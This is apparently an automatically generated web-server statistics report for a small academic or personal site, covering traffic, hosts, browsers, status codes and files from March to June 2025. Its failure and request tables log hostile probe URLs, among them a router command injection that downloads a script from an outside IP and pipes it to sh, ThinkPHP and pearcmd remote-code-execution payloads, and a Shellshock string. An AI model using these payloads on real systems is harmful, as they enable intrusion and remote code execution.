Program started at Thu-26-Jun-2025 00:05.
Analysed requests from Fri-28-Mar-2025 00:01 to Wed-25-Jun-2025 00:00 (89.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 26-Jun-2025 00:05.
Successful requests: 217,197 (15,813)
Average successful requests per day: 2,440 (2,258)
Successful requests for pages: 77,031 (5,627)
Average successful requests for pages per day: 865 (803)
Failed requests: 150,398 (17,613)
Redirected requests: 204,819 (4,833)
Distinct files requested: 4,822 (2,653)
Distinct hosts served: 20,276 (2,920)
Corrupt logfile lines: 152
Unwanted logfile entries: 750,107
Data transferred: 110.02 gigabytes (8.07 gigabytes)
Average data transferred per day: 1.24 gigabytes (1.15 gigabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 800 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Mar 2025 | 7784 | 2289 | ![]() ![]() |
Apr 2025 | 72775 | 29720 | ![]() ![]() ![]() |
May 2025 | 67083 | 25251 | ![]() |
Jun 2025 | 69555 | 19771 | ![]() ![]() ![]() |
Busiest month: Apr 2025 (29,720 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 400 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
23/Mar/25 | 4120 | 1315 | ![]() |
30/Mar/25 | 14717 | 5314 | ![]() ![]() ![]() |
6/Apr/25 | 15198 | 5536 | ![]() ![]() ![]() |
13/Apr/25 | 22636 | 12183 | ![]() ![]() ![]() ![]() ![]() |
20/Apr/25 | 15749 | 5591 | ![]() ![]() ![]() |
27/Apr/25 | 14460 | 4826 | ![]() ![]() ![]() |
4/May/25 | 13922 | 5860 | ![]() ![]() ![]() ![]() |
11/May/25 | 20113 | 5737 | ![]() ![]() ![]() ![]() |
18/May/25 | 14329 | 5529 | ![]() ![]() ![]() |
25/May/25 | 12398 | 5369 | ![]() ![]() ![]() |
1/Jun/25 | 14318 | 5410 | ![]() ![]() ![]() |
8/Jun/25 | 30357 | 6064 | ![]() |
15/Jun/25 | 16354 | 5764 | ![]() ![]() ![]() ![]() |
22/Jun/25 | 8526 | 2533 | ![]() ![]() ![]() |
Busiest week: week beginning 13/Apr/25 (12,183 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 40 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
15/May/25 | 2282 | 595 | ![]() ![]() ![]() ![]() |
16/May/25 | 4538 | 1007 | ![]() ![]() ![]() |
17/May/25 | 1799 | 643 | ![]() ![]() |
18/May/25 | 1533 | 644 | ![]() ![]() |
19/May/25 | 1414 | 429 | ![]() ![]() ![]() |
20/May/25 | 1433 | 504 | ![]() ![]() ![]() |
21/May/25 | 3885 | 1123 | ![]() ![]() ![]() ![]() |
22/May/25 | 1925 | 801 | ![]() ![]() ![]() |
23/May/25 | 2364 | 1326 | ![]() ![]() |
24/May/25 | 1775 | 702 | ![]() ![]() |
25/May/25 | 1346 | 673 | ![]() ![]() |
26/May/25 | 2146 | 938 | ![]() ![]() |
27/May/25 | 2175 | 1235 | ![]() ![]() ![]() ![]() ![]() |
28/May/25 | 1769 | 583 | ![]() ![]() ![]() ![]() |
29/May/25 | 1407 | 561 | ![]() ![]() ![]() ![]() |
30/May/25 | 1641 | 585 | ![]() ![]() ![]() ![]() |
31/May/25 | 1914 | 794 | ![]() ![]() |
1/Jun/25 | 1901 | 929 | ![]() ![]() |
2/Jun/25 | 2244 | 977 | ![]() ![]() ![]() |
3/Jun/25 | 2083 | 534 | ![]() ![]() ![]() |
4/Jun/25 | 2266 | 840 | ![]() ![]() ![]() |
5/Jun/25 | 2712 | 960 | ![]() ![]() |
6/Jun/25 | 1675 | 629 | ![]() |
7/Jun/25 | 1437 | 541 | ![]() ![]() ![]() |
8/Jun/25 | 3510 | 1192 | ![]() ![]() ![]() ![]() |
9/Jun/25 | 1625 | 563 | ![]() ![]() ![]() ![]() |
10/Jun/25 | 1711 | 539 | ![]() ![]() ![]() |
11/Jun/25 | 13358 | 684 | ![]() ![]() |
12/Jun/25 | 2638 | 765 | ![]() ![]() |
13/Jun/25 | 5028 | 1433 | ![]() ![]() |
14/Jun/25 | 2487 | 888 | ![]() ![]() ![]() ![]() |
15/Jun/25 | 1818 | 548 | ![]() ![]() ![]() |
16/Jun/25 | 2335 | 681 | ![]() ![]() |
17/Jun/25 | 2053 | 765 | ![]() ![]() |
18/Jun/25 | 2852 | 668 | ![]() ![]() |
19/Jun/25 | 2573 | 982 | ![]() ![]() ![]() |
20/Jun/25 | 2928 | 1535 | ![]() ![]() ![]() ![]() |
21/Jun/25 | 1795 | 585 | ![]() ![]() ![]() ![]() |
22/Jun/25 | 3422 | 798 | ![]() ![]() |
23/Jun/25 | 2661 | 910 | ![]() ![]() ![]() ![]() |
24/Jun/25 | 2441 | 825 | ![]() ![]() ![]() |
25/Jun/25 | 2 | 0 |
Busiest day: 16/Apr/25 (6,290 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 400 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 28449 | 9642 | ![]() ![]() ![]() |
Mon | 25376 | 8740 | ![]() ![]() ![]() |
Tue | 30368 | 10402 | ![]() ![]() ![]() ![]() |
Wed | 45669 | 15192 | ![]() ![]() ![]() |
Thu | 28384 | 10201 | ![]() ![]() ![]() |
Fri | 35565 | 13927 | ![]() ![]() ![]() |
Sat | 23386 | 8927 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 150 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 7180 | 3115 | ![]() ![]() ![]() |
1 | 7807 | 3031 | ![]() ![]() ![]() |
2 | 7606 | 2682 | ![]() ![]() |
3 | 7943 | 2854 | ![]() ![]() |
4 | 9578 | 2973 | ![]() ![]() |
5 | 9399 | 2602 | ![]() ![]() |
6 | 8716 | 3475 | ![]() ![]() |
7 | 7220 | 2611 | ![]() ![]() |
8 | 10257 | 3568 | ![]() ![]() |
9 | 9927 | 3449 | ![]() ![]() ![]() ![]() |
10 | 8628 | 2534 | ![]() ![]() |
11 | 9055 | 3137 | ![]() ![]() ![]() |
12 | 14529 | 3439 | ![]() ![]() ![]() ![]() |
13 | 11571 | 2458 | ![]() ![]() |
14 | 9068 | 3475 | ![]() ![]() |
15 | 8295 | 3834 | ![]() ![]() ![]() |
16 | 13230 | 5256 | ![]() ![]() |
17 | 11980 | 3781 | ![]() ![]() ![]() |
18 | 9264 | 3508 | ![]() ![]() |
19 | 6598 | 3057 | ![]() ![]() ![]() |
20 | 6216 | 2224 | ![]() ![]() ![]() ![]() |
21 | 9837 | 3359 | ![]() ![]() ![]() ![]() |
22 | 6755 | 3520 | ![]() ![]() |
23 | 6538 | 3089 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
217197 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
24262 | 38.80% | 20 |
17696 | 9.84% | 66.249 |
7642 | 1.13% | 34 |
6979 | 1.36% | 47 |
6053 | 7.93% | 4 |
4717 | 1.92% | 52 |
4188 | 0.33% | 85 |
4121 | 1.20% | 79 |
4036 | 1.03% | 216.244 |
3964 | 0.46% | 54 |
3858 | 1.45% | 114 |
3567 | 0.23% | 217.113 |
3318 | 0.09% | 43 |
3259 | 0.14% | 12 |
3120 | 3.24% | 8 |
2802 | 0.33% | 213.208 |
2191 | 0.35% | 35 |
2076 | 0.27% | 94 |
2072 | 0.14% | 103 |
1911 | 0.54% | 5 |
105365 | 29.23% | [not listed: 2,197 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
2357 | 0.09% | 4.28.172.242 |
3071 | 7.82% | 4.155.123.101 |
2694 | 0.11% | 12.201.4.178 |
3151 | 7.36% | 20.3.0.255 |
3164 | 7.29% | 20.3.7.147 |
1484 | 2.61% | 20.171.207.24 |
1898 | 4.45% | 20.171.207.68 |
942 | 2.28% | 20.171.207.76 |
2218 | 2.78% | 20.171.207.88 |
1914 | 2.12% | 20.171.207.114 |
552 | 0.35% | 20.171.207.133 |
2269 | 3.23% | 20.171.207.148 |
436 | 0.21% | 20.171.207.210 |
625 | 0.38% | 20.171.207.215 |
697 | 0.46% | 20.171.207.227 |
2298 | 2.96% | 20.171.207.228 |
848 | 34.59.250.44 | |
848 | 34.71.51.152 | |
848 | 34.72.123.64 | |
848 | 34.72.180.206 | |
848 | 34.172.5.168 | |
848 | 35.226.179.72 | |
420 | 0.06% | 49.205.116.237 |
455 | 0.02% | 64.62.202.81 |
772 | 65.21.35.195 | |
519 | 65.21.163.190 | |
1929 | 0.91% | 66.249.64.99 |
1945 | 0.96% | 66.249.64.100 |
1642 | 0.92% | 66.249.64.101 |
3467 | 1.87% | 66.249.70.35 |
3187 | 2.00% | 66.249.70.36 |
2717 | 1.84% | 66.249.70.37 |
873 | 0.94% | 78.38.193.25 |
941 | 0.22% | 79.174.44.63 |
759 | 0.32% | 79.174.44.214 |
700 | 3.23% | 84.115.219.53 |
404 | 84.239.37.19 | |
561 | 0.04% | 88.99.244.56 |
842 | 119.28.235.40 | |
1317 | 0.05% | 130.41.113.37 |
559 | 0.03% | 137.83.217.79 |
771 | 149.248.13.145 | |
558 | 157.90.181.207 | |
550 | 0.08% | 176.192.241.220 |
465 | 0.05% | 193.146.209.135 |
428 | 0.05% | 193.183.0.169 |
435 | 0.03% | 210.104.32.23 |
2748 | 0.31% | 213.208.173.67 |
4032 | 1.03% | 216.244.66.243 |
427 | 0.02% | 217.113.194.203 |
147916 | 40.45% | [not listed: 20,226 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the vendors of visitors' browsers.
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
no. | reqs | pages | browser |
---|---|---|---|
1 | 97760 | 29990 | Chrome |
4626 | 4387 | Chrome/114 | |
10575 | 3222 | Chrome/120 | |
11640 | 2390 | Chrome/136 | |
3255 | 2202 | Chrome/119 | |
12461 | 2090 | Chrome/135 | |
4744 | 1809 | Chrome/116 | |
8939 | 1420 | Chrome/134 | |
13443 | 1077 | Chrome/137 | |
937 | 916 | Chrome/58 | |
1213 | 853 | Chrome/125 | |
2 | 44758 | 20605 | Netscape (compatible) |
3 | 21899 | 7198 | Safari |
10889 | 4393 | Safari/604 | |
5982 | 1647 | Safari/537 | |
4515 | 1005 | Safari/605 | |
55 | 50 | Safari/601 | |
39 | 35 | Safari/533 | |
36 | 20 | Safari/534 | |
26 | 13 | Safari/8536 | |
59 | 7 | Safari/602 | |
7 | 6 | Safari/530 | |
2 | 2 | Safari/125 | |
4 | 5088 | 5052 | Scrapy |
5088 | 5052 | Scrapy/2 | |
5 | 3142 | 3025 | MSIE |
92 | 56 | MSIE/7 | |
78 | 52 | MSIE/6 | |
68 | 38 | MSIE/8 | |
35 | 23 | MSIE/10 | |
29 | 20 | MSIE/9 | |
7 | 3 | MSIE/5 | |
6 | 18675 | 2855 | Firefox |
3168 | 440 | Firefox/136 | |
339 | 322 | Firefox/114 | |
3344 | 274 | Firefox/138 | |
1825 | 206 | Firefox/137 | |
185 | 170 | Firefox/3 | |
2194 | 166 | Firefox/139 | |
390 | 146 | Firefox/130 | |
149 | 122 | Firefox/57 | |
234 | 94 | Firefox/116 | |
739 | 91 | Firefox/115 | |
7 | 1439 | 1234 | meta-externalagent |
1439 | 1234 | meta-externalagent/1 | |
8 | 561 | 556 | serpstatbot |
561 | 556 | serpstatbot/2 | |
9 | 454 | 442 | Sogou web spider |
454 | 442 | Sogou web spider/4 | |
10 | 427 | 398 | search.marginalia.nu |
11 | 404 | 398 | panscient.com |
12 | 274 | 247 | ZoominfoBot (zoominfobot at zoominfo dot com) |
13 | 473 | 245 | Go-http-client |
473 | 245 | Go-http-client/1 | |
14 | 359 | 233 | Python |
359 | 233 | Python/3 | |
15 | 227 | 227 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
227 | 227 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
16 | 1165 | 221 | Mozilla |
4 | 4 | Mozilla/1 | |
17 | 587 | 181 | python-requests |
587 | 181 | python-requests/2 | |
18 | 2995 | 158 | AliyunSecBot |
2995 | 158 | AliyunSecBot/Aliyun | |
19 | 408 | 148 | DuckDuckBot |
408 | 148 | DuckDuckBot/1 | |
20 | 590 | 124 | Baiduspider |
254 | 115 | Baiduspider/2 | |
13056 | 1124 | [not listed: 151 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
no. | reqs | pages | OS |
---|---|---|---|
1 | 60480 | 26315 | OS unknown |
2 | 71678 | 21379 | Windows |
64727 | 17130 | Windows NT | |
3185 | 3096 | Unknown Windows | |
1966 | 745 | Windows 7 | |
1436 | 226 | Windows XP | |
127 | 76 | Windows Vista | |
152 | 58 | Windows 8 | |
50 | 25 | Windows Server 2003 | |
29 | 19 | Windows 2000 | |
3 | 2 | Windows CE | |
2 | 1 | Windows 95 | |
1 | 1 | Windows 98 | |
3 | 24863 | 9656 | Known robots |
4 | 27371 | 9097 | Unix |
27251 | 9068 | Linux | |
109 | 20 | Other Unix | |
8 | 6 | FreeBSD | |
2 | 2 | NetBSD | |
1 | 1 | OpenBSD | |
5 | 30339 | 8205 | Macintosh |
6 | 5 | 4 | OS/2 |
7 | 4 | 4 | Symbian OS |
8 | 1 | 1 | Palm OS |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the HTTP status codes of all requests.
Listing status codes, sorted numerically.
reqs | status code |
---|---|
199785 | 200 OK |
6750 | 206 Partial content |
202537 | 301 Document moved permanently |
2282 | 302 Document found elsewhere |
10662 | 304 Not modified since last retrieval |
3722 | 400 Bad request |
327 | 403 Access forbidden |
146283 | 404 Document not found |
1 | 405 Method not allowed |
23 | 408 Request timeout |
42 | 416 Requested range not valid |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the sizes of files.
size | reqs | %bytes |
---|---|---|
0 | 48 | |
1B- 10B | 0 | |
11B- 100B | 0 | |
101B- 1kB | 34096 | 0.01% |
1kB- 10kB | 45902 | 0.11% |
10kB-100kB | 97479 | 3.12% |
100kB- 1MB | 22882 | 6.57% |
1MB- 10MB | 15289 | 36.74% |
10MB-100MB | 1361 | 30.29% |
100MB- 1GB | 140 | 23.16% |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the extensions of files.
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
reqs | %bytes | extension |
---|---|---|
21556 | 38.92% | .pdf [Adobe Portable Document Format] |
994 | 22.85% | .pptx |
92243 | 18.39% | .jpg [JPEG graphics] |
87 | 7.36% | .mp4 |
94 | 3.77% | .m4v |
520 | 3.12% | .ppt |
4 | 1.49% | .mov [Quick Time movie] |
9 | 0.91% | .MOV |
16 | 0.75% | .zip [Zip archives] |
345 | 0.69% | .doc [Microsoft Word document] |
36956 | 0.34% | [directories] |
39987 | 0.27% | .html [Hypertext Markup Language] |
103 | 0.27% | .exe [Executables] |
16 | 0.18% | .avi [AVI movies] |
84 | 0.16% | .xlsx |
29 | 0.13% | .mp3 [MP3 sound files] |
24154 | 0.41% | [not listed: 18 extensions] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
61450 | 56.37% | /lab/ |
14071 | 16.92% | /c/ |
9282 | 9.86% | /publications/ |
87859 | 7.44% | /photo/ |
1410 | 6.41% | /adhoc/ |
34501 | 1.25% | [root directory] |
1959 | 1.09% | /e/ |
455 | 0.51% | /manuals/ |
772 | 0.06% | http:// |
689 | 0.03% | /korean-blog/ |
1835 | 0.03% | /stats/ |
1243 | 0.02% | /listfirm/ |
1671 | [not listed: 4 directories] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
1473 | /x16/x03/x01 |
310 | /files/mail.js |
277 | /x16/x03/x02/x01o/x01 |
275 | /cgi-bin/luci/ |
12 | /cgi-bin/luci/?form=country&operation=write&country=$(wget+http://45.125.66.79/x/tplink+-O-|sh) |
275 | /robots.txt |
262 | * |
259 | /xmlrpc.php |
112 | /xmlrpc.php?rsd |
14 | /xmlrpc.php?p= |
12 | /xmlrpc.php?cmd=eval |
259 | /.env |
215 | /scientific-program/ |
195 | /ads.txt |
195 | /index.php |
53 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
53 | /index.php?lang=../../../../../../../../tmp/index1 |
53 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
168 | /wp-login.php |
162 | /x16/x03/x01/x02 |
152 | /wordpress |
152 | /wp |
151 | /new |
151 | /old |
151 | /main |
145 | /home |
144 | / |
144 | /backup |
142 | /bc |
142 | /bk |
137 | /apple-touch-icon.png |
135 | /apple-touch-icon-precomposed.png |
129 | /about.php |
14 | /about.php?p= |
11 | /about.php?525 |
129 | /x03 |
120 | /admin.php |
14 | /admin.php?p= |
102 | /web/wp-includes/wlwmanifest.xml |
102 | /wp/wp-includes/wlwmanifest.xml |
143720 | [not listed: 72,638 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
15212 | 0.17% | 24/Jun/25 23:59 | / |
196 | 23/Jun/25 19:52 | /?author=3 | |
105 | 24/Jun/25 14:22 | /?XDEBUG_SESSION_START=phpstorm | |
65 | 20/Jun/25 13:56 | /?phpinfo=1 | |
65 | 23/Jun/25 20:53 | /?author=9 | |
64 | 20/Jun/25 07:40 | /?author=11 | |
60 | 20/Jun/25 04:48 | /?author=15 | |
52 | 23/Jun/25 16:52 | /?tellafriend=send-mail | |
44 | 20/Jun/25 07:28 | /?author=0 | |
30 | 20/Jun/25 04:40 | /?author=10 | |
30 | 20/Jun/25 04:41 | /?author=19 | |
29 | 20/Jun/25 04:40 | /?author=1 | |
29 | 20/Jun/25 04:41 | /?author=5 | |
29 | 20/Jun/25 04:42 | /?author=7 | |
28 | 20/Jun/25 04:42 | /?author=12 | |
28 | 20/Jun/25 04:39 | /?author=20 | |
27 | 20/Jun/25 04:37 | /?author=13 | |
27 | 20/Jun/25 04:41 | /?author=18 | |
27 | 20/Jun/25 04:44 | /?s=Register | |
27 | 20/Jun/25 04:38 | /?author=4 | |
27 | 20/Jun/25 04:39 | /?author=6 | |
27 | 20/Jun/25 04:39 | /?author=8 | |
26 | 20/Jun/25 04:41 | /?author=14 | |
26 | 20/Jun/25 04:40 | /?author=17 | |
25 | 2/Jun/25 08:28 | /? | |
25 | 20/Jun/25 07:13 | /?s=vod-show-id-1-mcid-33.html | |
25 | 20/Jun/25 07:06 | /?subject=hafhcfdevcf | |
25 | 20/Jun/25 07:13 | /?s=vod-show-id35-mcid-6.html | |
25 | 20/Jun/25 04:38 | /?author=2 | |
24 | 20/Jun/25 06:31 | /?data=1&filter=phpinfo | |
24 | 20/Jun/25 04:38 | /?author=16 | |
24 | 24/Jun/25 06:46 | /?s=index/index/index | |
22 | 20/Jun/25 07:13 | /?s=vod-show-id-3-mcid-109.html | |
21 | 20/Jun/25 07:56 | /?function=call_user_func_array&vars[0]=system&vars[1][]=echo zxcvvbnm | |
11 | 24/Jun/25 08:54 | /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 7`H;/bin/uname -a;echo @ HTTP/1.0 | |
8016 | 24/Jun/25 23:33 | /robots.txt | |
3799 | 24/Jun/25 22:56 | /favicon.ico | |
2596 | 24/Jun/25 21:54 | /index_referring.html | |
1818 | 0.03% | 24/Jun/25 23:32 | /lab/ |
68 | 24/Jun/25 21:44 | /lab/?fb_locale=tr_TR | |
28 | 20/Jun/25 07:55 | /lab/?hootPostID=04a20cd17539990ada512e833c02d90f | |
12 | 20/Jun/25 07:59 | /lab/?fbclid=IwAR2e9r2V2GU1KGB3VzgvUN1O-zFpxf-TRhILyGxbyS-02yliUHUW6UHuS3o | |
1707 | 24/Jun/25 22:35 | /stats/ | |
1065 | 0.02% | 24/Jun/25 23:02 | /photo/family-archive/vm-20081016-adresseavisen-1-1.jpg |
